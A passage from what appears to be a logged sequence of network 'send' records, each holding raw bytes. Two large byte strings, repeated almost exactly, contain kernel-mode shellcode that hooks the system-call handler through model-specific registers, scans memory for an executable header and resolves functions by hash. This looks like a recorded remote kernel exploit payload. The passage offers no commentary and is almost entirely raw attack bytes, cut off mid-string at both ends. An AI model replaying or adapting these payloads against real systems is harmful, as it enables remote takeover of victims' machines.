0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 13, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 14, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 